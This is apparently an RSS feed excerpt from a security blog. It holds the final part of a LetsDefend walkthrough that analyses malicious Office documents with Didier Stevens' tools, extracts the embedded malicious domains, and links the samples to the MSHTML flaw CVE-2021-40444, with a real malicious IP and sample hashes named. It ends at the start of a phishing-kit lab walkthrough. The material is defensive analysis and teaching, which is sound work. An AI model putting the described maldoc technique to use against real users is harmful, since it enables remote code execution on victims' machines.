domain in the document and can answer &lt;strong&gt;Question 2&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/90853689098a6a4df28618ff4399f819_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2258px&#34; data-flex-grow=&#34;941&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/77cfd89e8474724b7e11fd335d0bfb5f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-examing-the-work_from_home_surveydoc-file-what-is-the-malicious-domain-in-the-docfile&#34;&gt;Question 3: Examing the Work_From_Home_Survey.doc file, what is the malicious domain in the doc file?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, &lt;strong&gt;Question 3&lt;/strong&gt; has us analyzing a &lt;em&gt;.doc&lt;/em&gt; file. While different than &lt;em&gt;.docx,&lt;/em&gt; let&amp;rsquo;s approach this question with the same way that we used to answer &lt;strong&gt;Question 2&lt;/strong&gt; by using &lt;em&gt;zipdump.py&lt;/em&gt; and &lt;em&gt;re-search.py&lt;/em&gt; with the &lt;em&gt;domaintld&lt;/em&gt; filter:&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py -D /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc | python3 re-search.py -n -u domaintld&lt;/p&gt;&#xA;&lt;p&gt;This seems promising but this domain isn&amp;rsquo;t long enough to answer &lt;strong&gt;Question 3&lt;/strong&gt;&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1959px&#34; data-flex-grow=&#34;816&#34; height=&#34;98&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/93aa8aa8e39d54f44de36470fc483005_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s dig more deeply. Instead of using the &lt;em&gt;zipdump.py -D&lt;/em&gt; option to dump all the streams, let&amp;rsquo;s try to analyze them individually. But how do we know which streams to focus on?&lt;/p&gt;&#xA;&lt;p&gt;Well, let&amp;rsquo;s do some &lt;em&gt;Google&lt;/em&gt; research about the &lt;em&gt;OOXML format&lt;/em&gt; to find out more about which stream contains external references like &lt;em&gt;URLs&lt;/em&gt;. After some brief searching we&amp;rsquo;ll stumble across a &lt;a class=&#34;link&#34; href=&#34;http://officeopenxml.com/anatomyofOOXML.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;reference&lt;/a&gt; sheet for the &lt;em&gt;WordprocessingML&lt;/em&gt; file type from &lt;em&gt;Open Office&lt;/em&gt; which has a very helpful note:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://officeopenxml.com/anatomyofOOXML.php&#34;  title=&#34;http://officeopenxml.com/anatomyofOOXML.php&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Office Open XML - Anatomy of an OOXML WordProcessingML File&lt;/strong&gt;&#xA;_Anatomy of a WordProcessingML File A WordprocessingML or docx file is a zip file (a package) containing a number of&amp;hellip;_officeopenxml.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;http://officeopenxml.com/anatomyofOOXML.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;888px&#34; data-flex-grow=&#34;370&#34; height=&#34;216&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/30bcf2afd263557a769e7f73ccb66969_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://officeopenxml.com/anatomyofOOXML.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;http://officeopenxml.com/anatomyofOOXML.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With that background information, we are going to focus on &lt;em&gt;stream 10 (-s 10)&lt;/em&gt; and &lt;em&gt;dump (-d)&lt;/em&gt; the content from this file only using the below command_._&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;744px&#34; data-flex-grow=&#34;310&#34; height=&#34;258&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/8364be66c293088d168cf13983f65676_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc -s 10 -d&lt;/p&gt;&#xA;&lt;p&gt;This returns a huge blob of output but let&amp;rsquo;s focus on the highlighted section where we see a &lt;em&gt;Relationship Id&lt;/em&gt;. We know from the &lt;em&gt;OOXML&lt;/em&gt; specification that this should be the right location to find external links but it seems to be encoded&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;994px&#34; data-flex-grow=&#34;414&#34; height=&#34;193&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/15e0ea1d0fe75f7f424c9b8ea22e61d5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While we could use something like &lt;em&gt;CyberChef&lt;/em&gt; to perform some decoding/transformation, let&amp;rsquo;s stick with the provided utilities and use another of Didier Stevens&amp;rsquo; tools — &lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite/blob/master/numbers-to-string.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Numbers-to-String.py&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;numbers-to-string.py is a Python program that reads texts files (as arguments on the commandline, &lt;a class=&#34;link&#34; href=&#34;http://twitter.com/here&#34;  title=&#34;Twitter profile for @here&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;@here&lt;/a&gt; files or stdin), extract numbers from these files and converts these to strings.&#xA;The first argument of numbers-to-string.py is a Python expression. This Python expression can use variable n that represents each extracted number.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This should allow us to dump the content of this stream and pipe it into &lt;em&gt;numbers-to-strings&lt;/em&gt; to perform the conversion for us.&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc -s 10 -d | python3 numbers-to-string.py&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;4571px&#34; data-flex-grow=&#34;1904&#34; height=&#34;63&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/d7f609eda1e4667aec989a8e6a2cdc09_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/d7f609eda1e4667aec989a8e6a2cdc09_MD5_hu_d9e6051c1f6759e9.png 800w, https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/d7f609eda1e4667aec989a8e6a2cdc09_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! By doing some research and combining two of the included tools, we&amp;rsquo;ve uncovered a malicious domain within the &lt;em&gt;.doc&lt;/em&gt; file!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1684px&#34; data-flex-grow=&#34;701&#34; height=&#34;114&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/6e92e4ee064e94669d1c74650f299212_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-examing-the-income_tax_and_benefit_return_2021docx-what-is-the-malicious-domain-in-the-docxfile&#34;&gt;Question 4: Examing the income_tax_and_benefit_return_2021.docx, what is the malicious domain in the docx file?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 4,&lt;/strong&gt; we&amp;rsquo;re looking for a malicious domain again, so let&amp;rsquo;s circle back and apply the same process that we used to answer &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Except instead of using the &lt;em&gt;domaintld&lt;/em&gt; option like we used before, let&amp;rsquo;s see if we get any hits using the &lt;em&gt;url-domain&lt;/em&gt; option.&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py -D /root/Desktop/ChallengeFiles/income_tax_and_benefit_return_2021.docx | python3 re-search.py -n -u url-domain&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3388px&#34; data-flex-grow=&#34;1411&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/3e8ba1129193ce90178d2a5c6c31450f_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/3e8ba1129193ce90178d2a5c6c31450f_MD5_hu_5a03cecc834a945a.png 800w, https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/3e8ba1129193ce90178d2a5c6c31450f_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hey, we found one unique URL in the output! Let&amp;rsquo;s check it against &lt;em&gt;VirusTotal&lt;/em&gt; to see if we can find any hits to confirm if this is a malicious domain or not to confirm our finding.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1523px&#34; data-flex-grow=&#34;634&#34; height=&#34;126&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/bebdd4584a9e4304b202ec69b88df9ad_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We have a few hits, but we&amp;rsquo;ll go a step further and check the &lt;em&gt;Relations &amp;gt; Communicating Files&lt;/em&gt; tab, where we will see several file hits including one that looks &lt;em&gt;very&lt;/em&gt; familiar&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s submit our answer and move on to the final question to determine what common vulnerability all of the sample files exploit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/74d704ed5d88da02696bec587b491023_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-vulnerability-the-above-files-exploited&#34;&gt;Question 5: What is the vulnerability the above files exploited?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, last question! To tackle &lt;strong&gt;Question 5&lt;/strong&gt;, we&amp;rsquo;ll check the file hash of each sample to collect more information from &lt;em&gt;VirusTotal&lt;/em&gt; and discover the common vulnerability that each malicious document exploits.&lt;/p&gt;&#xA;&lt;p&gt;First, to get the hashes, we&amp;rsquo;ll run the &lt;em&gt;SHA256sum&lt;/em&gt; command for all the files in the &lt;em&gt;ChallengeFile&lt;/em&gt; directory:&lt;/p&gt;&#xA;&lt;p&gt;sha256sum *&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/34aa226804915bd2a90066b851acba33_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, we can submit each of the hashes to &lt;em&gt;VirusTotal.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1371px&#34; data-flex-grow=&#34;571&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/cebb69efe3110dcf99ab656d07a8b714_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1391px&#34; data-flex-grow=&#34;579&#34; height=&#34;138&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/719ca9a098f135c11ae79aa36c2c09d3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1411px&#34; data-flex-grow=&#34;588&#34; height=&#34;136&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/efb34ea741838457298267fd079b6dae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1381px&#34; data-flex-grow=&#34;575&#34; height=&#34;139&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/647ea1a9fa697da10bdd0c0e5d065cbb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Did you notice that each one is tagged with the label &lt;strong&gt;CVE-2021€“40444?&lt;/strong&gt; I think we have found the answer, but let&amp;rsquo;s do some additional research about this vulnerability from &lt;a class=&#34;link&#34; href=&#34;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft&lt;/em&gt;&lt;/a&gt; which describes it as:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;While this is just a brief summary, we get the idea that the samples we&amp;rsquo;ve analyzed are &lt;em&gt;Microsoft Office&lt;/em&gt; documents specially-crafted to exploit a &lt;em&gt;Windows MSHTML&lt;/em&gt; vulnerability. Between the intelligence we gathered from &lt;em&gt;VirusTotal&lt;/em&gt; and the &lt;em&gt;CVE&lt;/em&gt; details from &lt;em&gt;Microsoft&lt;/em&gt;, we have enough data to answer &lt;strong&gt;Question 5&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/8c6831d7f1fafb486581ab870b0c8a7e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! We&amp;rsquo;ve successfully analyzed each of the four &lt;em&gt;maldoc&lt;/em&gt; samples, found the &lt;em&gt;IP addresses&lt;/em&gt; and &lt;em&gt;domains&lt;/em&gt; within them, and used those artifacts to figure out which &lt;em&gt;CVE&lt;/em&gt; was exploited. Let&amp;rsquo;s wrap up this investigation.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another excellent challenge! While I&amp;rsquo;ve used &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/my-software/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Didier Stevens&lt;/em&gt;&lt;/a&gt; tools before, I hadn&amp;rsquo;t had the opportunity to try &lt;em&gt;re-search&lt;/em&gt; or &lt;em&gt;numbers-to-string&lt;/em&gt;. These tools really helped to speed up the investigation since I didn&amp;rsquo;t have to pivot to external tools, and they were powerful for parsing the &lt;em&gt;zipdump&lt;/em&gt; output. This was a great opportunity to practice with these tools hands-on!&lt;/p&gt;&#xA;&lt;p&gt;If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a &lt;em&gt;clap&lt;/em&gt;&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;SANS Cheat Sheet for Analyzing Malicious Documents:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Didier Stevens (Zipdump.py):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite/blob/master/zipdump.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/DidierStevens/DidierStevensSuite/blob/master/zipdump.py&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Didier Stevens (re-search.py):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/2021/02/22/re-search-py-and-custom-validations/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blog.didierstevens.com/2021/02/22/re-search-py-and-custom-validations/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/175.24.190.249/relations&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/ip-address/175.24.190.249/relations&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Open Office XML Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;http://officeopenxml.com/anatomyofOOXML.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;http://officeopenxml.com/anatomyofOOXML.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Didier Stevens (Numbers-to-Strings):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite/blob/master/numbers-to-string.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/DidierStevens/DidierStevensSuite/blob/master/numbers-to-string.py&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (Employee_W2_Form.docx)&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (Employees_Contact_Audit_Oct_2021.docx)&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (Work_From_Home_Survey.doc)&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (income_tax_and_benefit_return_2021.docx)&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft MSHTML Remote Code Execution Vulnerability:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders  —  GrabThePhisher Blue Team Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/</link>
            <pubDate>Sun, 18 Aug 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/2bec7d84d8e1b7f28c0869ef9be1b818_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders  —  GrabThePhisher Blue Team Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefendersgrabthephisher-blue-team-lab-walkthrough&#34;&gt;CyberDefenders — GrabThePhisher Blue Team Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigation-of-a-phishing-kit-using-google-php--the-telegramapi&#34;&gt;Investigation of a Phishing Kit using Google, PHP, &amp;amp; the Telegram API&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;405px&#34; data-flex-grow=&#34;168&#34; height=&#34;237&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/2bec7d84d8e1b7f28c0869ef9be1b818_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/grabthephisher/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/grabthephisher/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Have you ever come across a phishing website spoofing a familiar service and wanted to understand how it works? If so, welcome to another weekly walkthrough — you’ve stumbled on the right blog! This week, we’re tackling the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/grabthephisher/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GrabThePhisher Blue Team Lab&lt;/strong&gt;&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Our mission this week is a &lt;em&gt;Threat Intelligence&lt;/em&gt; exercise that has us defenders diving into a phishing kit used to impersonate a popular cryptocurrency exchange website and trick unsuspecting victims into providing their crypto wallet seed phrases. That’s not great!&lt;/p&gt;&#xA;&lt;p&gt;Throughout this walkthrough, we’ll explore the inner workings of this phishing kit, 